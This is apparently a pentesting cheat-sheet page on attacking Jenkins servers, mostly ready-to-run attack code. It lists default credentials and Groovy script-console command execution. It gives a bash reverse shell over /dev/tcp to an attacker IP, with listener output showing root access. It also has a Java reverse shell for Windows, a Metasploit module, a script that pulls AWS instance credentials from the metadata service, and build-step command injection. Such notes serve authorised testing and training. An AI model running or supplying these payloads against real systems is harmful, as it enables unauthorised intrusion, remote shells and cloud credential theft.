Jenkins

Jenkins exploitation

Discovery/Footprinting

Jenkins runs on Tomcat port 8080 by default. It also utilizes port 5000 to attach slave servers.

Open Registration

/signup
/jenkins/signup

Enumeration

http://jenkins.inlanefreight.local:8000/configureSecurity/

http://jenkins.inlanefreight.local:8000/login?from=%2F

Default credentials such as admin:admin or does not have any type of authentication enabled. It is not uncommon to find Jenkins instances that do not require any authentication during an internal penetration test

Admin access - Script Console

Before 2.0: Admin access

http://jenkins_server/script

Groovy scripts could be executed: https://www.labofapenetrationtester.com/2014/06/hacking-jenkins-servers.html

Linux

http://jenkins.inlanefreight.local:8000/script

def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

Windows

def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");

Reverse Shell

Linux

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
$ nc -lvnp 8443

listening on [any] 8443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.201.58] 57844

id

uid=0(root) gid=0(root) groups=0(root)

/bin/bash -i

root@app02:/var/lib/jenkins3#

Metasploit

msf > use exploit/multi/http/jenkins_script_console

Windows

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Retrieve AWS credentials

Access to Groovy Console

def tokenCommand = 'curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"'
def dataCommand = 'curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/'

def proc1 = ['sh', '-c', tokenCommand].execute()
def token = proc1.text.trim() // Get the token from the first command
proc1.waitFor()

if (proc1.exitValue() == 0) {
    def proc2 = ['sh', '-c', dataCommand.replace('$TOKEN', token)].execute()
    def errorBuffer = new StringBuffer()
    proc2.consumeProcessErrorStream(errorBuffer)
    println(proc2.text) // Print the response
    println(errorBuffer.toString()) // Print error messages, if any
} else {
    println("Failed to retrieve token: ${proc1.err.text}")
}

No admin access but could add or edit build steps

Add a build step, add "Execute Windows Batch Command" and enter:

powershell -c command

CVE-2024-23897 - Arbitrary File Read Vulnerability Leading to RCE

CVE-2024-43044 - Arbitrary file read that allows an agent to fetch files from the controller

Resources

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Last updated